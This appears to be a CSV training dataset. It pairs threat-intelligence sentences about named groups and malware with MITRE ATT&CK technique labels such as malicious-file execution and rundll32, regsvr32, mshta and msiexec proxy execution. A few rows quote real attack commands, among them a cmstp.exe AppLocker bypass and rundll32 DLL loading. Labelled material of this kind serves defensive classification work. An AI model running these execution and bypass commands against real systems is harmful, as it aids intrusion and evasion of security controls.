Gamaredon Group has attempted to get users to click on Office attachments with malicious macros embedded.,['T1204.002 - User Execution: Malicious File'],fine_tune
Gorgon Group attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
Grandoreiro has infected victims via malicious attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
IcedID has been executed through Word documents with malicious embedded macros.,['T1204.002 - User Execution: Malicious File'],fine_tune
"InvisiMole can deliver trojanized versions of software and documents, relying on user execution.",['T1204.002 - User Execution: Malicious File'],fine_tune
JCry has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Javali has achieved execution through victims opening malicious attachments, including MSI files with embedded VBScript.",['T1204.002 - User Execution: Malicious File'],fine_tune
KONNI has relied on a victim to enable malicious macros within an attachment delivered via email.,['T1204.002 - User Execution: Malicious File'],fine_tune
Kerrdown has gained execution through victims opening malicious files.,['T1204.002 - User Execution: Malicious File'],fine_tune
Kimsuky has used attempted to lure victims into opening malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
Leviathan has sent spearphishing attachments attempting to get a user to click.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Lokibot has tricked recipients into enabling malicious macros by getting victims to click ""enable content"" in email attachments.",['T1204.002 - User Execution: Malicious File'],fine_tune
Magic Hound has attempted to lure victims into opening malicious email attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
Magic Hound has lured victims into executing malicious files.,['T1204.002 - User Execution: Malicious File'],fine_tune
Metamorfo requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer.,['T1204.002 - User Execution: Malicious File'],fine_tune
Mofang's malicious spearphishing attachments required a user to open the file after receiving.,['T1204.002 - User Execution: Malicious File'],fine_tune
Molerats has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.,['T1204.002 - User Execution: Malicious File'],fine_tune
Mongall has relied on a user opening a malicious document for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
Mustang Panda has sent malicious files requiring direct victim interaction to execute.,['T1204.002 - User Execution: Malicious File'],fine_tune
NETWIRE has been executed through luring victims into opening malicious documents.,['T1204.002 - User Execution: Malicious File'],fine_tune
Naikon has convinced victims to open malicious attachments to execute malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
NativeZone can display an RTF document to the user  to enable execution of  Cobalt Strike stage shellcode.,['T1204.002 - User Execution: Malicious File'],fine_tune
OSX/Shlayer has relied on users mounting and executing a malicious DMG file.,['T1204.002 - User Execution: Malicious File'],fine_tune
"OilRig has delivered macro-enabled documents that required targets to click the ""enable content"" button to execute the payload on the system.",['T1204.002 - User Execution: Malicious File'],fine_tune
OutSteel has relied on a user to execute a malicious attachment delivered via spearphishing.,['T1204.002 - User Execution: Malicious File'],fine_tune
PLATINUM has attempted to get users to open malicious files by sending spearphishing emails with attachments to victims.,['T1204.002 - User Execution: Malicious File'],fine_tune
"PROMETHIUM has attempted to get users to execute compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.",['T1204.002 - User Execution: Malicious File'],fine_tune
Patchwork embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
PoetRAT has used spearphishing attachments to infect victims.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Pony has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).",['T1204.002 - User Execution: Malicious File'],fine_tune
QakBot has gained execution through users opening malicious attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
REvil has been executed via malicious MS Word e-mail attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
RTM has attempted to lure victims into opening e-mail attachments to execute malicious code.,['T1204.002 - User Execution: Malicious File'],fine_tune
"RTM has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.",['T1204.002 - User Execution: Malicious File'],fine_tune
Ramsay has been executed through malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
Rifdoor has been executed from malicious Excel or Word documents containing macros.,['T1204.002 - User Execution: Malicious File'],fine_tune
SQLRat relies on users clicking on an embedded image to execute the scripts.,['T1204.002 - User Execution: Malicious File'],fine_tune
STARWHALE has relied on victims opening a malicious Excel file for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
Saint Bot has relied upon users to execute a malicious attachment delivered via spearphishing.,['T1204.002 - User Execution: Malicious File'],fine_tune
Sandworm Team has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files.,['T1204.002 - User Execution: Malicious File'],fine_tune
Silence attempts to get users to launch malicious attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
Some SUGARDUMP variants required a user to enable a macro within a malicious .xls file for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
TA459 has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.,['T1204.002 - User Execution: Malicious File'],fine_tune
"TA505 has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, TA505 makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files.",['T1204.002 - User Execution: Malicious File'],fine_tune
TA551 has prompted users to enable macros within spearphishing attachments to install malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
The White Company has used phishing lure documents that trick users into opening them and infecting their computers.,['T1204.002 - User Execution: Malicious File'],fine_tune
Threat Group-3390 has lured victims into opening malicious files containing malware.,['T1204.002 - User Execution: Malicious File'],fine_tune
ThreatNeedle relies on a victim to click on a malicious document for initial execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
Tonto Team has relied on user interaction to open their malicious RTF documents.,['T1204.002 - User Execution: Malicious File'],fine_tune
Tropic Trooper has lured victims into executing malware via malicious e-mail attachments.,['T1204.002 - User Execution: Malicious File'],fine_tune
WIRTE has attempted to lure users into opening malicious MS Word and Excel files to execute malicious payloads.,['T1204.002 - User Execution: Malicious File'],fine_tune
WarzoneRAT has relied on a victim to open a malicious attachment within an email for execution.,['T1204.002 - User Execution: Malicious File'],fine_tune
Windshift has used e-mail attachments to lure victims into executing malicious code.,['T1204.002 - User Execution: Malicious File'],fine_tune
"Wizard Spider has lured victims to execute malware with spearphishing attachments containing macros to download either Emotet, Bokbot, TrickBot, or Bazar.",['T1204.002 - User Execution: Malicious File'],fine_tune
ZxxZ has relied on victims to open a malicious attachment delivered via email.,['T1204.002 - User Execution: Malicious File'],fine_tune
admin@338 has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.,['T1204.002 - User Execution: Malicious File'],fine_tune
"menuPass has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.",['T1204.002 - User Execution: Malicious File'],fine_tune
TeamTNT has relied on users to download and execute malicious Docker images.,['T1204.003 - User Execution: Malicious Image'],fine_tune
Kobalos is triggered by an incoming TCP connection to a legitimate service from a specific source port.,['T1205 - Traffic Signaling'],fine_tune
Pandora can identify if incoming HTTP traffic contains a token and if so it will intercept the traffic and process the received command.,['T1205 - Traffic Signaling'],fine_tune
Ryuk has used Wake-on-Lan to power on turned off systems for lateral movement.,['T1205 - Traffic Signaling'],fine_tune
SYNful Knock can be sent instructions via special packets to change its functionality. Code for new functionality can be included in these messages.,['T1205 - Traffic Signaling'],fine_tune
"Umbreon provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet",['T1205 - Traffic Signaling'],fine_tune
"Winnti for Linux has used a passive listener, capable of identifying a specific magic value before executing tasking, as a secondary command and control (C2) mechanism.",['T1205 - Traffic Signaling'],fine_tune
PROMETHIUM has used a script that configures the knockd service and firewall to only accept C2 connections from systems that use a specified sequence of knock ports.,['T1205.001 - Port Knocking'],fine_tune
Penquin installs a `TCP` and `UDP` filter on the `eth0` interface.,['T1205.002 - Socket Filters'],fine_tune
APT28 exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.,['T1210 - Exploitation of Remote Services'],fine_tune
Conficker exploited the MS08-067 Windows vulnerability for remote code execution through a crafted RPC request.,['T1210 - Exploitation of Remote Services'],fine_tune
Dragonfly has exploited a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory servers.,['T1210 - Exploitation of Remote Services'],fine_tune
Earth Lusca has used Mimikatz to exploit a domain controller via the ZeroLogon exploit (CVE-2020-1472).,['T1210 - Exploitation of Remote Services'],fine_tune
Emotet has been seen exploiting SMB via a vulnerability exploit like EternalBlue (MS17-010) to achieve lateral movement and propagation.,['T1210 - Exploitation of Remote Services'],fine_tune
"Empire has a limited number of built-in modules for exploiting remote SMB, JBoss, and Jenkins servers.",['T1210 - Exploitation of Remote Services'],fine_tune
Fox Kitten has exploited known vulnerabilities in remote services including RDP.,['T1210 - Exploitation of Remote Services'],fine_tune
InvisiMole can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively.,['T1210 - Exploitation of Remote Services'],fine_tune
Lucifer can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).,['T1210 - Exploitation of Remote Services'],fine_tune
MuddyWater has exploited the Microsoft Netlogon vulnerability (CVE-2020-1472).,['T1210 - Exploitation of Remote Services'],fine_tune
"NotPetya can use two exploits in SMBv1, EternalBlue and EternalRomance, to spread itself to other remote systems on the network.",['T1210 - Exploitation of Remote Services'],fine_tune
PoshC2 contains a module for exploiting SMB via EternalBlue.,['T1210 - Exploitation of Remote Services'],fine_tune
QakBot can move laterally using worm-like functionality through exploitation of SMB.,['T1210 - Exploitation of Remote Services'],fine_tune
Stuxnet propagates using the MS10-061 Print Spooler and MS08-067 Windows Server Service vulnerabilities.,['T1210 - Exploitation of Remote Services'],fine_tune
Wizard Spider has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities.,['T1210 - Exploitation of Remote Services'],fine_tune
APT28 has collected files from various information repositories.,['T1213 - Data from Information Repositories'],fine_tune
"APT29 has accessed victims’ internal knowledge repositories (wikis) to view sensitive corporate information on products, services, and internal business operations.",['T1213 - Data from Information Repositories'],fine_tune
FIN6 has collected schemas and user accounts from systems running SQL Server.,['T1213 - Data from Information Repositories'],fine_tune
Fox Kitten has accessed victim security and IT environments and Microsoft Teams to mine valuable information.,['T1213 - Data from Information Repositories'],fine_tune
LAPSUS$ has searched a victim's network for organization collaboration channels like MS Teams or Slack to discover further high-privilege account credentials.,['T1213 - Data from Information Repositories'],fine_tune
P.A.S. Webshell has the ability to list and extract data from SQL databases.,['T1213 - Data from Information Repositories'],fine_tune
LAPSUS$ has searched a victim's network for collaboration platforms like Confluence and JIRA to discover further high-privilege account credentials.,['T1213.001 - Confluence'],fine_tune
APT28 has collected information from Microsoft SharePoint services within target networks.,['T1213.002 - Sharepoint'],fine_tune
Ke3chang used a SharePoint enumeration and data dumping tool known as spwebmember.,['T1213.002 - Sharepoint'],fine_tune
LAPSUS$ has searched a victim's network for collaboration platforms like SharePoint to discover further high-privilege account credentials.,['T1213.002 - Sharepoint'],fine_tune
spwebmember is used to enumerate and dump information from Microsoft SharePoint.,['T1213.002 - Sharepoint'],fine_tune
APT29 has downloaded source code from code repositories.,['T1213.003 - Code Repositories'],fine_tune
"APT32 has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.",['T1216.001 - Signed Script Proxy Execution: Pubprn'],fine_tune
"APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.",['T1217 - Browser Bookmark Discovery'],fine_tune
Calisto collects information on bookmarks from Google Chrome.,['T1217 - Browser Bookmark Discovery'],fine_tune
Dtrack can retrieve browser history.,['T1217 - Browser Bookmark Discovery'],fine_tune
Empire has the ability to gather browser data such as bookmarks and visited sites.,['T1217 - Browser Bookmark Discovery'],fine_tune
Fox Kitten has used Google Chrome bookmarks to identify internal resources and assets.,['T1217 - Browser Bookmark Discovery'],fine_tune
MobileOrder has a command to upload to its C2 server victim browser bookmarks.,['T1217 - Browser Bookmark Discovery'],fine_tune
PowerLess can use a .NET browser information stealer module.,['T1217 - Browser Bookmark Discovery'],fine_tune
APT38 has used CHM files to move concealed payloads.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
APT41 used compiled HTML (.chm) files for targeting.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
Astaroth uses ActiveX objects for file execution and manipulation.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
OilRig has used a CHM payload to load and execute another malicious file once delivered to a victim.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
Silence has weaponized CHM files in their phishing campaigns.,['T1218.001 - Signed Binary Proxy Execution: Compiled HTML File'],fine_tune
InvisiMole can register itself for execution and persistence via the Control Panel.,['T1218.002 - Signed Binary Proxy Execution: Control Panel'],fine_tune
"Cobalt Group has used the command ""cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt"" to bypass AppLocker and launch a malicious script.",['T1218.003 - Signed Binary Proxy Execution: CMSTP'],fine_tune
MuddyWater has used CMSTP.exe and a malicious INF to execute its POWERSTATS payload.,['T1218.003 - Signed Binary Proxy Execution: CMSTP'],fine_tune
Chaes has used Installutill to download content.,['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],fine_tune
Saint Bot had used `InstallUtil.exe` to download and deploy executables.,['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],fine_tune
WhisperGate has used `InstallUtil.exe` as part of its process to disable Windows Defender.,['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],fine_tune
"menuPass has used ""InstallUtil.exe"" to execute malicious software.",['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],fine_tune
APT29 has use `mshta` to execute malicious scripts on a compromised host.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
APT32 has used mshta.exe for code execution.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
BabyShark has used mshta.exe to download and execute applications from a remote server.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Confucius has used mshta.exe to execute malicious VBScript.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"During C0015, the threat actors used `mshta` to execute DLLs.",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"During Operation Dust Storm, the threat actors executed JavaScript code via `mshta.exe`.",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Earth Lusca has used `mshta.exe` to load an HTA script within a malicious .LNK file.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Gamaredon Group has used `mshta.exe` to execute malicious HTA files.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Inception has used malicious HTA files to drop and execute malware.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Kimsuky has used mshta.exe to run malicious scripts on the system.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"Lazarus Group has used ""mshta.exe"" to execute HTML pages downloaded by initial access documents.",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Lazarus Group has used mshta.exe to run malicious scripts and download programs.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
LazyScripter has used `mshta.exe` to execute Koadic stagers.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
NanHaiShu uses mshta.exe to load its program and files.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Revenge RAT uses mshta.exe to run malicious scripts on the system.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Sibot has been executed via MSHTA application.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
"Sidewinder has used ""mshta.exe"" to execute malicious payloads.",['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
TA551 has used mshta.exe to execute malicious payloads.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
Xbash can use mshta for executing scripts.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],fine_tune
AppleJeus has been installed via MSI installer.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Chaes has used .MSI files as an initial way to start the infection chain.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Clop can use msiexec.exe to disable security tools on the system.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Duqu has used ""msiexec"" to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
FlawedAmmyy has been installed via `msiexec.exe`.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Grandoreiro can use MSI files to execute DLLs.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
IcedID can inject itself into a suspended msiexec.exe process to send beacons to C2 while appearing as a normal msi application.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Javali has used the MSI installer to download and execute malicious payloads.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
LoudMiner used an MSI installer to install the virtualization software.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Machete has used msiexec to install the Machete malware.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Maze has delivered components for its ransomware attacks using MSI files, some of which have been executed from the command-line using ""msiexec"".",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Melcoz can use MSI files with embedded VBScript for execution.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Metamorfo has used MsiExec.exe to automatically execute files.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
RCSession has the ability to execute inside the msiexec.exe process.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Ragnar Locker has been delivered as an unsigned MSI package that was executed with ""msiexec.exe"".",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"Rancor has used ""msiexec"" to download and execute malicious installer files over HTTP.",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"TA505 has used ""msiexec"" to download and execute malicious Windows Installer files.",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
Bumblebee can use `odbcconf.exe` to run DLLs on targeted hosts.,['T1218.008 - Signed Binary Proxy Execution: Odbcconf'],fine_tune
Agent Tesla has dropped RegAsm.exe onto systems for performing malicious activity.,['T1218.009 - Signed Binary Proxy Execution: Regsvcs/Regasm'],fine_tune
APT19 used Regsvr32 to bypass application control techniques.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
APT32 created a Scheduled Task/Job that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
AppleSeed can call regsvr32.exe for execution.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Astaroth can be loaded through regsvr32.exe.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using regsvr32.exe.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Cobalt Group has used regsvr32.exe to execute scripts.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Derusbi variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"During C0015, the threat actors employed code that used `regsvr32` for execution.",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
EVILNUM can run a remote scriptlet that drops a file and executes it via regsvr32.exe.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Egregor has used regsvr32.exe to execute malicious DLLs.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
HermeticWizard has used `regsvr32.exe /s /i` to execute malicious payloads.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"Kimsuky has executed malware with ""regsvr32s"".",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Koadic can use Regsvr32 to execute additional payloads.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Lazarus Group has used rgsvr32 to execute custom malware.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
QakBot can use Regsvr32 to execute malicious DLLs.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Ragnar Locker has used regsvr32.exe to execute components of VirtualBox.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
RogueRobin uses regsvr32.exe to run a .sct file for execution.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Saint Bot has used `regsvr32` to execute scripts.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Some Orz versions have an embedded DLL known as MockDll that uses Process Hollowing and regsvr32 to execute another payload.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"Valak has used ""regsvr32.exe"" to launch malicious DLLs.",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
WIRTE has used `regsvr32.exe` to trigger the execution of a malicious script.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
Xbash can use regsvr32 for executing scripts.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
A gh0st RAT variant has used rundll32 for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
APT19 configured its payload to inject into the rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"APT28 executed CHOPSTICK by using rundll32 commands such as ""rundll32.exe “C:\Windows\twain_64.dll”"". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
APT3 has a tool that can run DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
APT41 has used rundll32.exe to execute a loader.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Attor's installer plugin can schedule rundll32.exe to load the dispatcher.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
BLINDINGCAN has used Rundll32 to load a malicious DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Backdoor.Oldrea can use rundll32 for execution on compromised hosts.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
BoomBox can use RunDLL32 for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"CORESHELL is installed via execution of rundll32 with an export named ""init"" or ""InitW.""",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Carbanak installs VNC server software that executes through rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Cobalt Strike can use `rundll32.exe` to load DLL from the command line.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Comnie uses Rundll32 to load a malicious DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
EVILNUM can execute commands and scripts through rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Egregor has used rundll32 during execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
FatDuke can execute via rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
FlawedAmmyy has used `rundll32` for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
FunnyDream can use `rundll32` for execution of its components.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"HAFNIUM has used ""rundll32"" to load malicious DLLs.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
HermeticWizard has the ability to create a new process using `rundll32`.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
InvisiMole has used rundll32.exe for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
KONNI has used Rundll32 to execute its loader for privilege escalation purposes.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Koadic can use Rundll32 to execute additional payloads.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Kwampirs uses rundll32.exe in a Registry value added to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"MegaCortex has used ""rundll32.exe"" to load a DLL for file encryption.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Mongall can use `rundll32.exe` for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
NOKKI has used rundll32 for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
PUNCHBUGGY can load a DLL using Rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
PcShare has used `rundll32.exe` for execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
PolyglotDuke can be executed using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
PowerDuke uses rundll32.exe to load.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Pteranodon executes functions using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
QakBot can use Rundll32.exe to enable C2 communication.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
RTM runs its core DLL file using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Ragnar Locker has used rundll32.exe to execute components of VirtualBox.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Rundll32.exe is used as a way of executing Flame at the command-line.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Sakula calls cmd.exe to run various DLL files via rundll32.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"ServHelper contains a module for downloading and executing DLLs that leverages ""rundll32.exe"".",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"Sibot has executed downloaded DLLs with ""rundll32.exe"".",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Squirrelwaffle has been executed using `rundll32.exe`.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
StreamEx uses rundll32 to call an exported function.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"TA505 has leveraged ""rundll32.exe"" to execute malicious DLLs.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
TA551 has used rundll32.exe to load malicious DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
USBferry can execute rundll32.exe in memory to avoid detection.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
ZxShell has used rundll32.exe to execute other DLLs and named pipes.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
